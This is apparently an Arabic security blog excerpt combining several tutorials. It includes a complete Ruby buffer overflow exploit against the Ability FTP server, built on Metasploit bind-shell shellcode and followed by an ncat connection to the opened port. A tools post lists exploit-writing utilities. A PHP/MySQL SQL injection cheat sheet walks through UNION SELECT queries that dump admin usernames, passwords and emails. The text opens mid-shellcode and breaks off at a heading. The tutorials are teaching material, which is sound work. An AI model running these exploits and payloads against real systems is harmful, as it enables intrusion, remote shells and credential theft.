"\x3f\xc2\x10\x7c\x6d\xf7\xa3\xf0\xba\xf8\x04\xbe\x9c\x37" +
"\x95\x0e\x21\x9b\x55\x10\xdd\xe6\x89\xf2\xdc\x28\xdc\xf3" +
"\x19\x54\x2e\xa1\xf2\x12\x9c\x56\x76\x66\x1c\x56\x58\xec" +
"\x1c\x20\xdd\x33\xe8\x9a\xdc\x63\x40\x90\x97\x9b\xeb\xfe" +
"\x07\x9d\x38\x1d\x7b\xd4\x35\xd6\x0f\xe7\x9f\x26\xef\xd9" +
"\xdf\xe5\xce\xd5\xd2\xf4\x17\xd1\x0c\x83\x63\x21\xb1\x94" +
"\xb7\x5b\x6d\x10\x2a\xfb\xe6\x82\x8e\xfd\x2b\x54\x44\xf1" +
"\x80\x12\x02\x16\x17\xf6\x38\x22\x9c\xf9\xee\xa2\xe6\xdd" +
"\x2a\xee\xbd\x7c\x6a\x4a\x10\x80\x6c\x32\xcd\x24\xe6\xd1" +
"\x1a\x5e\xa5\xbd\xef\x6d\x56\x3e\x67\xe5\x25\x0c\x28\x5d" +
"\xa2\x3c\xa1\x7b\x35\x42\x98\x3c\xa9\xbd\x22\x3d\xe3\x79" +
"\x76\x6d\x9b\xa8\xf6\xe6\x5b\x54\x23\xa8\x0b\xfa\x9b\x09" +
"\xfc\xba\x4b\xe2\x16\x35\xb4\x12\x19\x9f\xc3\x14\xd7\xfb" +
"\x80\xf2\x1a\xfc\x33\xb0\x92\x1a\x51\xa6\xf2\xb5\xcd\x04" +
"\x21\x0e\x6a\x76\x03\x22\x23\xe0\x1b\x2c\xf3\x0f\x9c\x7a" +
"\x50\xa3\x34\xed\x22\xaf\x80\x0c\x35\xfa\xa0\x47\x0e\x6d" +
"\x3a\x36\xdd\x0f\x3b\x13\xb5\xac\xae\xf8\x45\xba\xd2\x56" +
"\x12\xeb\x25\xaf\xf6\x01\x1f\x19\xe4\xdb\xf9\x62\xac\x07" +
"\x3a\x6c\x2d\xc5\x06\x4a\x3d\x13\x86\xd6\x69\xcb\xd1\x80" +
"\xc7\xad\x8b\x62\xb1\x67\x67\x2d\x55\xf1\x4b\xee\x23\xfe" +
"\x81\x98\xcb\x4f\x7c\xdd\xf4\x60\xe8\xe9\x8d\x9c\x88\x16" +
"\x44\x25\xb8\x5c\xc4\x0c\x51\x39\x9d\x0c\x3c\xba\x48\x52" +
"\x39\x39\x78\x2b\xbe\x21\x09\x2e\xfa\xe5\xe2\x42\x93\x83" +
"\x04\xf0\x94\x81"

ضع هذا الShellcode في السكريبت

6.4. Exploit

الأن وأخيرا, أغلق البرنامج تماما وتأكد أنه لا يوجد أي Process تعمل للبرنامج وأعد تشغيله لوحده دون المنقح
وبعد أن وضعنا مخرجات الـ Shellcode الجديد بدون Bad characters سيكون كالتالي


#!/usr/bin/env ruby
#======================================================#
# Ability FTP server exploit #
# Security4arabs.com: Buffer Overflow tutorials #
# Coded By: Sabri Saleh - KING SABRI | @KINGSABRI #
#======================================================#
require 'socket'

junk = "A" * 969
eip = "\x0A\xAF\xD8\x77" # jmp esp 0x77D8AF0A USER32.dll | use bof-cli.rb -e 0x77D8AF0A
nop = "\x90" * 32
shellcode = #./msfpayload windows/shell_bind_tcp LPORT=5555 R | ./msfencode -a x86 -b '\x00\x0a\x0d' -t ruby (size 368)
"\xda\xd0\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1\x56\xbf\x9d\x28" +
"\xd0\x22\x83\xee\xfc\x31\x7e\x14\x03\x7e\x89\xca\x25\xde" +
"\x59\x83\xc6\x1f\x99\xf4\x4f\xfa\xa8\x26\x2b\x8e\x98\xf6" +
"\x3f\xc2\x10\x7c\x6d\xf7\xa3\xf0\xba\xf8\x04\xbe\x9c\x37" +
"\x95\x0e\x21\x9b\x55\x10\xdd\xe6\x89\xf2\xdc\x28\xdc\xf3" +
"\x19\x54\x2e\xa1\xf2\x12\x9c\x56\x76\x66\x1c\x56\x58\xec" +
"\x1c\x20\xdd\x33\xe8\x9a\xdc\x63\x40\x90\x97\x9b\xeb\xfe" +
"\x07\x9d\x38\x1d\x7b\xd4\x35\xd6\x0f\xe7\x9f\x26\xef\xd9" +
"\xdf\xe5\xce\xd5\xd2\xf4\x17\xd1\x0c\x83\x63\x21\xb1\x94" +
"\xb7\x5b\x6d\x10\x2a\xfb\xe6\x82\x8e\xfd\x2b\x54\x44\xf1" +
"\x80\x12\x02\x16\x17\xf6\x38\x22\x9c\xf9\xee\xa2\xe6\xdd" +
"\x2a\xee\xbd\x7c\x6a\x4a\x10\x80\x6c\x32\xcd\x24\xe6\xd1" +
"\x1a\x5e\xa5\xbd\xef\x6d\x56\x3e\x67\xe5\x25\x0c\x28\x5d" +
"\xa2\x3c\xa1\x7b\x35\x42\x98\x3c\xa9\xbd\x22\x3d\xe3\x79" +
"\x76\x6d\x9b\xa8\xf6\xe6\x5b\x54\x23\xa8\x0b\xfa\x9b\x09" +
"\xfc\xba\x4b\xe2\x16\x35\xb4\x12\x19\x9f\xc3\x14\xd7\xfb" +
"\x80\xf2\x1a\xfc\x33\xb0\x92\x1a\x51\xa6\xf2\xb5\xcd\x04" +
"\x21\x0e\x6a\x76\x03\x22\x23\xe0\x1b\x2c\xf3\x0f\x9c\x7a" +
"\x50\xa3\x34\xed\x22\xaf\x80\x0c\x35\xfa\xa0\x47\x0e\x6d" +
"\x3a\x36\xdd\x0f\x3b\x13\xb5\xac\xae\xf8\x45\xba\xd2\x56" +
"\x12\xeb\x25\xaf\xf6\x01\x1f\x19\xe4\xdb\xf9\x62\xac\x07" +
"\x3a\x6c\x2d\xc5\x06\x4a\x3d\x13\x86\xd6\x69\xcb\xd1\x80" +
"\xc7\xad\x8b\x62\xb1\x67\x67\x2d\x55\xf1\x4b\xee\x23\xfe" +
"\x81\x98\xcb\x4f\x7c\xdd\xf4\x60\xe8\xe9\x8d\x9c\x88\x16" +
"\x44\x25\xb8\x5c\xc4\x0c\x51\x39\x9d\x0c\x3c\xba\x48\x52" +
"\x39\x39\x78\x2b\xbe\x21\x09\x2e\xfa\xe5\xe2\x42\x93\x83" +
"\x04\xf0\x94\x81"

rest = "C" * (2000 - (junk + eip + nop + shellcode).size)

exploit = junk + eip + nop + shellcode + rest

#-- Connection --#
host = '10.0.0.76'
port = 21
s = TCPSocket.open(host, port)
s.recv(1024)
puts "[+] " + "Sending Username."
s.send("USER ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Password."
s.send("PASS ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Evil buffer."
s.send("STOR " + exploit + "\r\n", 0)
total = s.send("STOR " + exploit + "\r\n", 0)
s.close

#-- Exploit Info --#
puts "---------------------"
puts "[+] " + "Buffer length: " + "#{exploit.size} bytes."
puts "[+] " + "Total exploit size: " + "#{total} bytes."
puts "[+] " + "Done!"

[button size=”small” color=”blue” url=”http://www.security4arabs.com/files/bof-tut/Part2/files/Ability-STOR/ability-STOR6.rb”]Download ability-STOR6.rb[/button]

نفذ الـ Exploit ثم اتصل على الجهاز الهدف على منفذ 5555

ncat -nvv 10.0.0.76 5555

Figure 6

 

Demonstration

في النهاية, هذا فيدو توضيعي لكل ما تم عمله سابقا بشكل سريع.

 
 

تحياتي واحترامي

Buffer Overflow tutorial – Part 1: Tools

[toc]

 
 

مقدمة

سأسرد لكم بعض أهم الأدوات المستخدمة في عملية اكتشاف وكتابة استغلال ثغرات الـ Buffer Overflow. بالطبع هذه الأدوات ليست الوحيدة ولكنها الأشمل والأشهر. إذا رأيت أن هناك أداة مهمة تستحق أن تضاف إلى هذه القائمة الرجاء ذكرها في التعليقات.

 

تثبيت Ruby 1.9.3 على أوبونتو

تثبيت Ruby 1.9.3 على أوبونتو apt-get -y install ruby1.9.1-full جعل الإصدار 1.9.3 هو الإصدار الافتراضي update-alternatives --config ruby

There are 2 choices for the alternative ruby (providing /usr/bin/ruby). Selection Path Priority Status ———————————————————— * 0 /usr/bin/ruby1.8 50 auto mode 1 /usr/bin/ruby1.8 50 manual mode 2 /usr/bin/ruby1.9.1 10 manual mode Press enter to keep the current choice[*], or type selection number: 2 update-alternatives: using /usr/bin/ruby1.9.1 to provide /usr/bin/ruby (ruby) in manual mode.

جعل الـ gem الخاص بالإصدار 1.9.3 هو الافتراضي update-alternatives --config gem

There are 2 choices for the alternative gem (providing /usr/bin/gem). Selection Path Priority Status ———————————————————— * 0 /usr/bin/gem1.8 180 auto mode 1 /usr/bin/gem1.8 180 manual mode 2 /usr/bin/gem1.9.1 10 manual mode Press enter to keep the current choice[*], or type selection number: 2 update-alternatives: using /usr/bin/gem1.9.1 to provide /usr/bin/gem (gem) in manual mode.

للتأكد ruby --version

1.9.3p0 (2011-10-30 revision 33570) [x86_64-linux]

gem -v

1.8.11

تثبيت بعض الـ gems التي قد نحتاجها gem install pry colorize

 

تحميل المنقح Immunity debugger

راجع موضوع :  شرح امكانيات برنامج Immunity debugger – الواجهة

 

تحميل إضافة mona.py

إضافة mona.py هي إضافة رائعة لبرنامج Immunity debugger من تطوير الرائع Peter Van وفريقه وهي البديل الجديد لإضافته السابقة pvefindaddr التي كنا قد تحدثنا عنها سابقا
رابط التحميل 
أو ستجدها افتراضيا عند تحميل Buffer Overflow kit ضمن الأدوات الإضافية.
طريقة تركيب الإضافة مع Immunity debugger هي نفس طريقة تركيب pvefindaddr
– أغلق برنامج Immunity debugger
– ضع الإضافة في المسار (C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands)
– شغل برنامج Immunity debugger

 

تحميل الـ Metsploit

رابط التحميل

 

تحميل أداة Buffer Overflow Kit

أداة Buffer Overflow Kit  حيث تجمع عدة أدوات في مكان واحد من تطوير مجتمع الحماية العربي وسنقوم باستخدامها لاحقا بإذن الله.

 
 

الأداة Buffer Overflow Kit

مقدمة

عندما بدأت أتعلم Buffer Overflow  اضطررت لاستخدام أدوات مختلفة من أماكن مختلفة, منها ماهو موجوده في الـ Metasploit ومنها ماهو من خارجها ومنها ماتمنيت أن تكون موجودة. فكرت مؤخرا أن أقوم بعمل أداة تجمع معظم الأدوات التي كنت أستخدمها في مكان واحد وإعادة كتابتها من البداية كي أستفيد وأتعلم كيفية بناء مثل تلك الأدوات نيابة عن أن هناك أدوات أخرى لن أكتبها من الأول لكنها مهمة في مراحل كتابة الاستغالا أو أنها إضافات مهمة ففضلت أن أرفقها في البرنامج على أنها أدوات خارجية.

كما وضحت سابقا, الأداة لا تقوم بعمل شئ جديد أو شئ ذكي بل هي تجميع وإعادة كتابة سكربتات عدة في مكان واحد, فمثلا أداتان pattern_create وpattern_offset  ويعرفها من حاول الدخول في هذا المجال لم أجد سبب مقنعا أن تكونان في أداتين منفصلتين فأعدت كتابتها -بعيدا تماما عن metsploit-  وجعلها جزء من السكريبت Bofkit.

 

محتويات الأداة – حتى الأن

  • أداة Pattern create : لتوليد احتمالات غير متكررة  لحروف
  • أداة Pattern offset : لتحدد مكان حروف محددة من الحروف التي تم توليدها مسبقا
  • أداة hex to little endian : لتحويل عنوان register إلى صيغة little endian
  • أداة bin2hex : لتحويل ملف binary shellcode إلى صيغة hex لتستخدمه في الـ exploit
  • أداة bin2hex : لتحويل Hex shellcode إلى ملف binary – السكريبت يعتبر اسكربت خارجي حتى الأن
  • اسكربتات و أدوات خارجية مثل : nasm.exe , mona.py, hex2bin تجدها في مجلد bin/
  • جاري إضافة وتطوير المزيد كلما دعت الحاجة و سمح الوقت والجهد

 

متطلبات تشغيل البرنامج

تثبيت Ruby 1.9.3 على أوبونتو

تثبيت Ruby 1.9.3 على أوبونتو

apt-get -y install ruby1.9.1-full

جعل الإصدار 1.9.3 هو الإصدار الافتراضي

update-alternatives --config ruby

There are 2 choices for the alternative ruby (providing /usr/bin/ruby).

Selection Path Priority Status
————————————————————
* 0 /usr/bin/ruby1.8 50 auto mode
1 /usr/bin/ruby1.8 50 manual mode
2 /usr/bin/ruby1.9.1 10 manual mode

Press enter to keep the current choice[*], or type selection number: 2
update-alternatives: using /usr/bin/ruby1.9.1 to provide /usr/bin/ruby (ruby) in manual mode.

جعل الـ gem الخاص بالإصدار 1.9.3 هو الافتراضي

update-alternatives --config gem

There are 2 choices for the alternative gem (providing /usr/bin/gem).

Selection Path Priority Status
——————————————————————
* 0 /usr/bin/gem1.8 180 auto mode
1 /usr/bin/gem1.8 180 manual mode
2 /usr/bin/gem1.9.1 10 manual mode

Press enter to keep the current choice[*], or type selection number: 2
update-alternatives: using /usr/bin/gem1.9.1 to provide /usr/bin/gem (gem) in manual mode.

للتأكد

ruby --version

1.9.3p0 (2011-10-30 revision 33570) [x86_64-linux]

gem -v

1.8.11

تثبيت Ruby 1.9.3 على فيدورا

فيدورا 18  تأتي باخر إصدار
yum -y install ruby

 

طريقة التشغل

– شاشة المساعدة
ruby bofk-cli.rb -h
---[ Help screen ]----------------------------------------------

Usage: ruby bofk-cli.rb {OPTIONS} ARGUMENT

Help menu:
-c, --pattern-create LENGTH Create Unique pattern string.
-o, --pattern-offset OFFSET Find Pattern offset string.
-l, --pattern-length LENGTH Only used with 'pattern-offset' if pattern was longer than 20280.
-e, --hex2lend OPCODE Convert Hex to little endian characters.
-x, --bin2hex BINARY_FILE Convert binary shellcode to Hex string.
-v, --version Display Buffer Overflow Kit version.
-h, --help Display help screen

External tools - bin/
[-] hex2bin.rb Hex to Binary file - BoFkit.
[-] nasm.exe Assembler and disassembler.
[-] mona.py Immunity debugger plugin - Corelan team.

Examples:
ruby bofk-cli.rb --pattern-create 500
ruby bofk-cli.rb --pattern-offset Aa4Z
ruby bofk-cli.rb --pattern-offset Zu2Z --pattern-length 40000
ruby bofk-cli.rb --hex2lend 0x41F2E377
ruby bofk-cli.rb --bin2hex input.bin

----------------------------------------
 

شاهد مثال حي على طريقة الاستخدام

 

تحميل الأداة

حمل الأداة من Github
https://github.com/KINGSABRI/BufferOverflow-Kit

للتحميل من سطر الأوامر
git clone https://github.com/KINGSABRI/BufferOverflow-Kit.git

و أي طلب أو مشكلة تواجهها الرجاء الإبلاغ عنها هناك

إذا كانت لك الرغبة في المشاركة في تطوير الأدة الرجال مراسلتي على

sabri {at} security4arabs {dot} net

 

SQL injection Cheat Sheet – Php/MySQL

[toc]

 

 1. مقدمة

لا يخفى على أحد أهمية ثغرات حقن قواعد البيانات ومدى خطورتها على المواقع والتطبيقات و بالطبع على المعلومات. في هذا الموضوع لن اقوم بشرح مفاهيم ثغرات حقن القواعد وأنواعها بل سيكون بمثابة مراجعة سريعة على الخطوات العملية دون التعرض لأي مبادئ أو مفاهيم مما يؤكد أن هذا الموضوع لا يغنيك أبدا عن القراءة وفهم أصل وطبيعة هذا النوع من الثغرات. سنركز على حقن قواعد بيانات MySQL مع تطبيقات PHP.

 

سيكون بطل هذا الموضوع هو الرابط التالي :

http://Vulnerable-Site.ext/news_detail.php?id=9

[box style=”alert”]
أي تشابه في روابط أو مخرجات هذا الشرح مع أي موقع حقيقي هو بمحض الصدفة.
[/box]

[box style=”info”]
لمعرفة أخطر 10 ثغرات على تطبيقات الويب , الرجاء زيارة موقع OWASP و المهتم بكل ما يتعلق بحماية تطبيقات الويب بجيمع أنواعها.
[/box]

 

2. Test Vulnerability

ثغرات الحقن متنوعة ومختلفة في طبيعتها وطرق استغلالها لكنها تسري تحت نفس المبادئ. في الجدول التالي بعض الرموز المستخدمة للتأكد من وجود ثغرة في الموقع

[gn_table style=”1″]

‘” ‘ or 1=1 ‘ or 1=1–
” or 1=1– ‘ or 1=1– ‘ or 1=1# or 1=1/* ‘or 1=1/*
or 1=1;%00 or a=a ‘or a=a or a=a– or a=a#
/**/’ ‘or 1=1;%00 “or 1=1;%00 ‘)or(‘a’=’a’ “)””a”=”a”
‘or”=’

[/gn_table]

في حالة تنفيذ إحدى الرموز السابقة وظهر لك خطأ في قواعد البيانات -على سبيل المثال لا الحصر – كالتالي

 

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1 Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/listproducts.php on line 74

أو

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1

 

فإن احتمالية ان الموقع مصاب تصبح كبيرة و نسطيع التأكد بتجربة أكثر من رمز من الرموز الموضحة في الجدول اعلاه

3. Enumeration

لنسهل الأمر على أنفسنا, دعنا نطرح السؤال التالي:

ما هي البيانات اللتي نحتاجها أو الممكن جمعها من هذه الثغرة؟

الإجابة, في الفقرات التالية

 

3.1. Database type

أسهل طريقة لمعرفة نوع قاعدة البيانات هو عن طريق الخطأ الذي يظهر عن اختبار الثغرة فمثلا

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1

يتضح لنا أن قاعدة البيانات هي MySQL

مثال أخر

Microsoft SQL Native Client error ‘80040e14’

Unclosed quotation mark after the character string ”.

/showforum.asp, line 9

ظهر أن قاعدة البيانات هي MSSQL او Microsoft SQL server

مثال أخر

ORA-01756: quoted string not properly terminated

وهنا قاعدة البيانات هي Oracle

هناك اختلافات في طريقة حقن القواعد بين قاعدة وأخرى وكما ذكرنا موضوعنا هذا سيكون على قواعد بيانات MySQL مع تطبيقات PHP حيث الأكثر استخداما معاً.

 

3.2. Enumerate number of columns in the database’s table

الأن نريد أن نعرف عدد الأعمدة في جداول قاعدة البيانات الحالية , بحكم أننا لا نعرف عدد الأعمدة بالظبط فإننا سنقوم بإضافة مجموعة من العمليات التصاعدية/التنازلية حتى [gn_highlight bg=”#ff6042″ color=”#000000″]يختفي الخطأ[/gn_highlight] و الذي يدل على أن عدد أعمدة الجدول مختلف -بالنقص أو الزيادة- عن العدد الذي طلبته عن طريق الاستعلام.
مثال لشكل الخطأ

The used SELECT statements have a different number of columns

هناك عدة طرق وسنذكر منها

  • باستخدام  الأرقام  مع  UNION SELECT

بحكم أننا لا نعرف عدد الأعمدة فإننا سنقوم بإضافة مجموعة من الأرقام التصاعدية حتى يختفي الخطأ و الذي يدل على أن للأعمدة عدد مختلف عن الذي طلبته
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT 1,2,3,4,5#
ظهر لنا خطأ!
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT 1,2,3,4,5,6#
ظهر لنا خطأ!
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT 1,2,3,4,5,6,7#
ذهب الخطأ وظهرت لنا صفحة الموقع!

  • باستخدام NULL  مع  UNION SELECT

http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT NULL,NULL,NULL,NULL,NULL
ظهر لنا خطأ!  سنستمر في زيادة عدد الـ NULL حتى يخفتي الخطأ
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL
ظهر لنا خطأ!
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL
ذهب الخطأ وظهرت لنا صفحة الموقع!

  • باستخدام الأرقام مع  ORDER BYأنصح بهذه الطريقة

http://Vulnerable-Site.ext/news_detail.php?id=9 ORDER BY 20
ظهر لنا خطأ! سنستمر في إنقاص العدد حتى يخفتي الخطأ
http://Vulnerable-Site.ext/news_detail.php?id=9 ORDER BY 8
ظهر لنا خطأ!
http://Vulnerable-Site.ext/news_detail.php?id=9 ORDER BY 7
ذهب الخطأ وظهرت لنا صفحة الموقع!

إذناً نستنج أن عدد الأعمدة هو 7 أعمدة

[box style=”tip”]
جرب إضافة علامة الناقص مرتين متتابعتين بدون مسافات “–” أو الناقص مرتين متتابعتين بدون مسافا تتبعها واحدة إضافية قبلها مسافه “– -” أو “#” أو “/**/” في نهاية الاستعلام
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT 1,2,3,4,5,6,7--
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT 1,2,3,4,5,6,7-- -
http://Vulnerable-Site.ext/news_detail.php?id=9 order by 7#
[/box]

[box style=”tip”]
استخدمنا UNION SELECT , جرب أيضا مخرجات UNION ALL SELECT في ما طبقناه سابقا وما سنطبقه لاحقا وقارن المخرجات ,,
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION ALL SELECT 1,2,3,4,5,6,7--
[/box]

[box style=”info”]
زيادة الأعداد أو NULLs بناء على بدايتك فإذا وضعت في البداية عدد قليل مثل 1 فابدأ بزيادتها, وإذا بدأت بعدد كبير مثل 50 فابدأ بإنقاصها.
[/box]

 

3.3. Enumerate Vulnerable column(s)

بعد أن عرفنا عدد الأعمدة بالظبط, نريد أن نعرف العامود/الأعمدة المصابة والتي يمكن أن نحقن استعالاماتنا فيها للتفاعل مع القواعد بالطريقة التالية

http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,3,4,5,6,7--

[box style=”alert”]
لاحظ علامة ” – ” قبل المتغير. لا تنسى وضعها فسترافقنا إلى النهاية!.
[/box]

الأن دقق في الصفحة جيدا سيظهر لك رقم أو عدة أرقام مختلفة في أماكن مختلفة من الصفحة

شكل الصفحة قبل الاستعلام
Before SQL

شكل الصفحة بعد تطبيق الاستعلام
After SQLi
[box style=”tip”]
ليس كل المواقع تظهر فيها الأرقام بهذا الوضوح, ابحث جيدا في الصفحة فقط تكون في الـHeader أو الـ Footer أو في Sidebar
[/box]

نستنتج أن الأعمدة المصابة هي  2 و 3 و 5 و 7

 

3.4. Enumerate Database version

هناك طريقتين لإظهار إصدار قاعدة البيانات

http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,version(),4,5,6,7--
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,@@version,4,5,6,7--

[gn_label style=”success”]المـخـرجـات[/gn_label]

5.0.51b-community-nt-log

 

3.5. Enumerate Database name

اسم قاعدة البيانات الحالية التي نعمل عليها

  • باستخدام DATABASE()

http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,DATABASE(),4,5,6,7--

[gn_label style=”success”]المـخـرجـات[/gn_label]

nilakantatrust

 

3.6. Enumerate Database user

اسم المستخدم لقاعدة البيانات الحالية التي نعمل عليها

  • باستخدام USER()

http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,USER(),4,5,6,7--

[gn_label style=”success”]المـخـرجـات[/gn_label]

[email protected]

[box style=”info”]
ومن هنا نسنتج أيضا أن القاعدة على نفس الخادم وليس خادم أخر
[/box]

 

3.7. Enumerate server hostname

اسم الخادم الذي يعمل عليه الموقع

  • باستخدام @@HOSTNAME

http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,@@HOSTNAME,4,5,6,7--

[gn_label style=”success”]المـخـرجـات[/gn_label]

winvserv1

[box style=”info”]
– قد لا يظهر لنا مسح الخادم باستخدام الـ nmap نوع الخادم لكننا استفدنا من اسم الخادم أنه Windows server
– بعض الأحيان يكون الموقع يعمل على أكثر من خادم كـ Load balancing قد يكشف لكن الإسم ذلك ولسنا بصدد تفاصيل هذا
[/box]

 

3.8. Enumerate server MAC address

استخراج الـ MAC address للخادم.

  • باستخدام UUID()

http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,UUID(),4,5,6,7--

[gn_label style=”success”]المـخـرجـات[/gn_label]

70cc11f4-5984-11e2-bbf9-001c4239ab0a

 

3.9. Enumerate All Together

نجمع جميع ما سبق في استعلام واحد!

http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,CONCAT_WS(CHAR(32,58,32),HOSTNAME(),USER(),DATABASE(),VERSION()),4,5,6,7--

[gn_label style=”success”]المـخـرجـات[/gn_label]

[email protected] : nilakantatrust : 5.0.51b-community-nt-log

[box style=”alert”]
– ليس بالضرورة أن تعمل معك كل الدوال السابقة وغيرها, على سبيل المثال قد لا تعمل معك دالة HOSTNAME() أو UUID() فلا تقلق فنحن دائما نحاول جمع أكبر قدر من المعلومات.
– بعض المعلومات قد لا تفيدك بشكل مباشر لكنها قد تكون مؤشر إلى شئ آخر كـ صلاحيات هذا المستخدم على قاعدة أو قواعدة البيانات مثلا.
[/box]

4. Exploiting / Extracting

وكالعادة, قبل أن نبدأ في خطوة نسأل أنفسنا ماذا نريد من هذه الخطوة؟

4.1. List all databases

نعرض جميع قواعد البيانات الموجودة. حقن [gn_highlight bg=”#B2B2B2″ color=”#000000″]GROUP_CONCAT(schema_name)[/gn_highlight] مع [gn_highlight bg=”#B2B2B2″ color=”#000000″]from information_chema.schemata[/gn_highlight] ستعرض لنا جميع قواعد البيانات المستخدمة من خلال التطبيق.

http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(schema_name),4,5,6,7 from information_schema.schemata--

[gn_label style=”success”]المـخـرجـات[/gn_label]

information_schema,nilakantatrust

 

4.2. Extracting tables from the database

[gn_label style=”default”]استخراج الجداول من القاعدة الحالية[/gn_label]

http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()--

[gn_label style=”success”]المـخـرجـات[/gn_label]

est_achievement,est_admin,est_adminlog,est_companyrecord,est_facprofile,est_news,est_notice,est_onlineapplication,est_placementrecord

هناك طريقتين أخراتين لعرض جميع جميع الجداول سأعرضهم بسرعة
[gn_label style=”default”]استخراج جميع الجداول –> 1 [/gn_label]
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables--

[gn_label style=”default”]استخراج جميع الجداول –> 2 [/gn_label]
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where version=10;

[gn_label style=”success”]المـخـرجـات[/gn_label]

st_adminlog,est_companyrecord,est_facp etc est_achievement,est_admin,est_adminlog, est_companyrecord,est_facprofile,est_news,est_notice,est_onlineapplication,est_placementrecord

[box style=”green”]
يتم إسناد القيم بناء على إصدار الـ MySQL. القيمة 10 للإصدارات 5 و القيمة 9 للإصدارات 4
version=10 for MySQL v5
version=9 for MySQL v4
[/box]

[box style=”red”]
لاحظ أننا حصلنا على جدول مهم , est_admin
[/box]

 

4.3. Extracting columns from the tables

استخراج الأعمدة من الجداول ولها طريقتين
[gn_label style=”default”]1- Extracting from all tables[/gn_label]
استخراج أعمدة جميع الجداول في القاعدة الحالية
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_schema=database()--

[gn_label style=”success”]المـخـرجـات[/gn_label]

ach_id,ach_title,ach_detail,ach_type,ach_date,ach_status,ach_pdf,uid,userid,password,emailid,signature,last_login,
uid,ipaddress,act_date,module,action,description,c_snum,c_name,c_photo,fac_snum,fac_name,fac_designation,fac_dept,fac_qualification,
fac_email,fac_phone,fac_residence,fac_photo,fac_experience,
fac_publication,fac_uid,fac_pwd,news_id,news_title,news_detail,
news_type,news_date,news_status,news_pdf,notice_id,notice_title,
notice_detail,notice_type,notice_date,notice_status,sno,trade,name,
sex,dob,nri,laddress,paddress,email,pin,phone,mobile,caste,pname,
prelation,poccupation,pincome,pphone,pmobile,pemail,lname,lrelation,
loccupation,lincome,lphone,lmobile,lemail,marksheet,status,date,snum,
sname,batch,branch,company,s_photo

 

[gn_label style=”default”]2- Extracting from specific table[/gn_label]
استخراج اعمدة جدول معين
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=est_admin--
[gn_label style=”success”]المـخـرجـات[/gn_label]
بهذا الشكل سيخرج لك خطأ ولن تحصل على معلومة. لهذا يجب عليك أن تحول ترميز اسم الجدول إلى Hex وأسهل طريقة لهذا هو عن طريق إضافة HackBar في الفاير الفايرفوكس هكذا
Encoding >> HEX encoding >> String to 00ff00ff

نضع اسم الجدول وفي حالتنا اسمه “est_admin” سيخرج لنا القيمة “6573745f61646d696e”. نأخذ القيمة الجديدة ونضع قبلها  0x  ثم نضعها في مكان اسم الجدول كالتالي
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=0x6573745f61646d696e--

[gn_label style=”success”]المـخـرجـات[/gn_label]

uid,userid,password,emailid,signature,last_login

 

4.4. Extracting information from the columns

الأن دعنا نعرض جميع المستخدمين مع كلمات المرور و بريدهم الإلكتروني
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(userid,password,emailid),4,5,6,7 from est_admin--

[box style=”info”]
القيمة ” 0x3a ” تعني العلامة ” : ” وهنا نستخدما لتحسين عرض البيانات
[/box]
[box style=”tip”]
جرب ان تنفذ الاستعلام بالطريقة التالية
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(userid,0x3a,password,0x3a,emailid),4,5,6,7 from est_admin--
[/box]

[gn_label style=”success”]المـخـرجـات[/gn_label]

user1:User1Password:[email protected]
user2:User2Password:[email protected]
.
.
userX:UserXPassword:[email protected]

 

[box style=”info”]
أخيرا وليس آخرا, هذا الموضوع قابل للتحديث كلما سمح الوقت والجهد, كما أن الإضافات على الموضوع مرحب بها.
[/box]

تثبيت WebGoat على CentOS خطوة بخطوة

مقدمة

